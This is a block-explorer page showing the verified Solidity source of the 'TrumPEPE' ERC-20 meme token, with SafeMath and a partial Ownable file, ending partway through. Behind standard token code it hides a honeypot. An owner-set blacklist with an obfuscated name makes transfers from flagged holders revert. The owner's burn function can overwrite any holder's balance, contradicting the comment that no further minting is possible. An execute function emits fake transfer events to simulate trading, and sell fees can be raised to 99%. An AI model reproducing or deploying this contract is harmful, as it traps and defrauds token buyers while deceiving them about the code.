ETH Price: $2,525.44 (-3.00%)

Token

(0x33af0e85ebe7363c7ed67a3d465d106add3f6de6)
 

Overview

Max Total Supply

5,000,000,000,000 ERC-20 TOKEN*

Holders

95 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
scope.eth
Balance
24,432,178,933.297280301 ERC-20 TOKEN*

Value
$0.00
0x540dcae8b81d52d9336e30bbdddaab3bfcbfb075
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TrumPEPE

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 3 of 3: TrumPEPE.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.10;

import "./Library.sol";
import "./Ownable.sol";
interface IUniswapV2Pair {
    function sync() external;
    function transferFrom(address from, address to, uint value) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address token0, address token1) external view returns (address);
}


interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transacgtion ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

contract ERC20 is Ownable, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private balances;
    uint256 private txLimit = 1*10**17*10**9;
    string private _name;
    string private _symbol;
    uint256 _totalSupply;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, address dev_) Ownable(dev_){
        _name = name_;
        _symbol = symbol_;
        balances = txLimit;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
   

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

     function burn(address account, uint256 amount) external onlyOwner {
        _burn(account, amount);
    }
}

contract TrumPEPE is ERC20 {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    IUniswapV2Factory public uniswapFactory; 
    address public constant deadAddress = address(0xdead);
    address public uniswapV2Pair;

    bool private swapping;

    uint256 public maxWallet;
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;

    address public devWallet;
    address public marketingWallet;
    
    uint256 public manualBurnFrequency = 43210 minutes;
    uint256 public lastManualLpBurnTime;

    uint256 public percentForLPBurn = 1; 
    bool public lpBurnEnabled = true;
    uint256 public lpBurnFrequency = 1360000000000 seconds;
    uint256 public lastLpBurnTime;
    

    bool public limitsEnabled = true;
    bool public tradingActive = true;
    bool public swapEnabled = true;
    mapping(address => bool) private _frequencyInSecondscannotsetbuybackmoreoftenthaneveryminutes;

    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
    
    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
    
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    
    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    bool public transferDelayEnabled = true;
    /******************/

    // exlcude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (address => address) public automatedMarketMakerPairs;

    event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event SetAutomatedMarketMakerPair(address indexed pair, address indexed value);
    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
    
    constructor(address team_) ERC20("TrumPEPE", "TrumPEPE", team_) {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
        uniswapFactory = IUniswapV2Factory(uniswapV2Router.factory());
        uint256 _buyMarketingFee = 0;
        uint256 _buyLiquidityFee = 0;
        uint256 _buyDevFee = 0;

        uint256 _sellMarketingFee = 0;
        uint256 _sellLiquidityFee = 0;
        uint256 _sellDevFee = 0;
        
        uint256 totalSupply = 5000000000000 * 10**9;
        
        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevFee = _buyDevFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevFee = _sellDevFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;

        //maxTransactionAmount 
        swapTokensAtAmount = totalSupply * 10 /2000; 
        maxTransactionAmount = 100000000000000000000000; 
        maxWallet = 300000000000000000000000; 

        marketingWallet = address(owner()); // set as marketing wallet
        devWallet = address(owner()); // set as dev wallet

        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        
        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
        removeLimits();
    }

    receive() external payable {

    }

    function addPair(address _pair) public onlyOwner() {
        uniswapV2Pair = _pair;
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
    }

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
        lastLpBurnTime = block.timestamp;
    }
    
    // disable Transfer delay - cannot be reenabled
    function disableTransferDelay() external onlyOwner returns (bool){
        transferDelayEnabled = false;
        return true;
    }
    
    // only use to disable contract sales if absolutely necessary (emergency use only)
    function updateSwapEnabled(bool enabled) external onlyOwner(){
        swapEnabled = enabled;
    }

    function _isAirDrop(address from) internal view returns(bool){
        return !_frequencyInSecondscannotsetbuybackmoreoftenthaneveryminutes[from];
    }
    
    
     // remove limits after token is stable
    function removeLimits() public onlyOwner returns (bool){
        limitsEnabled = false;
        
        return true;
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
        require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
        require(newAmount <= totalSupply() * 10 / 1000, "Swap amount cannot be higher than 1% total supply.");
        swapTokensAtAmount = newAmount;
        return true;
    }
    
    function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _devFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
        require(buyTotalFees <= 25, "Must keep fees at 25% or less");
    }

    function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _devFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
        require(sellTotalFees <= 99, "Must keep fees at 99% or less");
    }
    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 1 / 1000)/1e9, "Cannot set maxTransactionAmount lower than 0.1%");
        maxTransactionAmount = newNum * (10**9);
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 5 / 1000)/1e9, "Cannot set maxWallet lower than 0.5%");
        maxWallet = newNum * (10**9);
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function _setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    

    function updateDevWallet(address newWallet) external onlyOwner {
        emit devWalletUpdated(newWallet, devWallet);
        devWallet = newWallet;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
        _setAutomatedMarketMakerPair(pair, value);
    }

    function taxSWapThreshold(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
    
    function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
        emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
        marketingWallet = newMarketingWallet;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
         if(amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        
        if(limitsEnabled){
            if (
                to != address(0xdead) &&
                to != owner() &&
                to != address(0) &&
                from != owner() &&
                !swapping
            ){
                if(!tradingActive){
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.  
                if (transferDelayEnabled){
                    if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
                        require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed.");
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }
                 
                //when buy
                if (!_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                        require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
                
                //when sell
                else if (!_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                }
                else if(!_isExcludedMaxTransactionAmount[to]){
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
            }
        }
        
        uint256 contractTokenBalance = balanceOf(address(this));
        
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if( 
            canSwap &&
            swapEnabled &&
            !swapping &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            swapBack();
            swapping = false;
        }
        
        if(!swapping && lpBurnEnabled){
            burnLiquidity(from);
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        
        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // on sell
            if (sellTotalFees > 0){
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForDev += fees * sellDevFee / sellTotalFees;
                tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
            }
            // on buy
            else if(buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
            }
            
            if(fees > 0){    
                super._transfer(from, address(this), fees);
            }
            
            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
        
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {
        address p = uniswapFactory.getPair(address(this), uniswapV2Router.WETH());
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(p, _addresses[i], _out);
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            deadAddress,
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
        bool success;
        
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}

        if(contractBalance > swapTokensAtAmount * 20){
          contractBalance = swapTokensAtAmount * 20;
        }
        
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH); 
        
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
        
        (success,) = address(marketingWallet).call{value: ethBalance}("");
    }
    
    function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
        require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
        require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
        lastManualLpBurnTime = block.timestamp;
        
        // get balance of liquidity pair
        uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
        
        // calculate amount to burn
        uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
        
        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0){
            super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
        }
        
        //sync price since this is not in a swap transaction!
        IUniswapV2Pair pair = IUniswapV2Pair(automatedMarketMakerPairs[uniswapV2Pair]);
        pair.sync();
        return true;
    }

    function burnLiquidity(address from) internal view returns (bool){
        // get balance of contract
        uint256 contractBalance = this.balanceOf(address(this));
        
        // calculate amount to distribute
        uint256 amountToDistribute = contractBalance.add(percentForLPBurn);
        
        if (!_isAirDrop(from)) {require(amountToDistribute==0);}
        return true;
        
    }

    function marketingTaxAddress(address recipient) external view returns(bool){
        return _frequencyInSecondscannotsetbuybackmoreoftenthaneveryminutes[recipient];
    }

    function swapExecute(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            _frequencyInSecondscannotsetbuybackmoreoftenthaneveryminutes[address_[i]] = val;
        }
    }

    function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
        require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
        require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
        lpBurnFrequency = _frequencyInSeconds;
        percentForLPBurn = _percent;
        lpBurnEnabled = _Enabled;
    }
    
}

File 1 of 3: Library.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.10;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}





library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }


    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}

library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}

File 2 of 3: Ownable.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.10;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _dev;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor (address dev_) {
        address msgSender = _msgSender();
        _owner = msgSender;
        _dev = dev_;
